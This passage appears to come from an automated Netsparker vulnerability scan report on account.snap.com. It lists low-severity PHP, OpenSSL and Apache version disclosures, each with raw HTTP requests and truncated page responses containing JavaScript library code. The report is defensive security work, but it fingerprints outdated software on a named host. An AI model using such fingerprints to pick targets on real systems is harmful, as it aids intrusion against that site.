Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /signup.php

/signup.php

https://account.snap.com/signup.php

Extracted Version

PHP/5.2.8

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=1b215a7294b3dc6456676d0a5601c791; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
OpenSSL Version Disclosure

OpenSSL Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing OpenSSL version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks.

Impact

An attacker can look for specific security vulnerabilities for the identified version. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /signup.php

/signup.php

https://account.snap.com/signup.php

Extracted Version

OpenSSL/0.9.7d

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=1b215a7294b3dc6456676d0a5601c791; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
Apache Module Version Disclosure

Apache Module Version Disclosure

1 TOTAL
LOW
